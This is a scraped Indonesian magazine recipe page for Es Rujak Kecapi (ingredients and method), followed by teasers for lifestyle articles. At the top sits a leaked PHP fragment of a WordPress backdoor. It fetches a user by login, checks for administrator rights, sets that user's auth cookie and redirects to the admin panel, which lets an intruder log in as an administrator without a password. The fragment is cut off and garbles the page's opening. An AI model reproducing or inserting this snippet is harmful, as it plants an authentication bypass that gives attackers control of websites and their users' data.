Es Rujak Kecapi

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Recipes

Es Rujak Kecapi

21 Apr 2012

Bahan:

18 buah buah kecapi
Air rendaman, larutkan:
2 l air matang
1 sdm garam

Kuah:

1l air
350 g gula pasir
3 buah cabai merah, buang bijinya, iris tipis
1 sdm garam
2 sdm cuka masak

Pelengkap:

Pecahan es batu

Cara membuat:

Kupas bagian kulit yang hijau dari buah kecapi hingga bersih. Biarkan bagian dalam kulitnya yang berwarna putih. Dengan menggunakan pisau, cacah seluruh sisi kecapi kupas hingga tercabik-cabik. Rendam dalam larutan perendam agar tidak berubah warna. Sisihkan.
Jerang air dan gula hingga mendidih. Angkat, masukkan cabai dan garam. Masukkan cuka, aduk rata. Sisihkan.
Tiriskan buah kecapi. Masukkan dalam kuah, aduk sambil tekan-tekan hingga agak pecah. Biarkan selama ± 45 menit hingga menyerap.
Sajikan dingin bersama es batu. (f)

Untuk 6 porsi

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

Kagetkan Fans, Sooyoung dan Jung Kyung-ho Putus Setelah 14 Tahun Bersama

Di saat fans mengira mereka sedang mempersiapkan pernikahan, kabar ini jatuh seperti bom.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id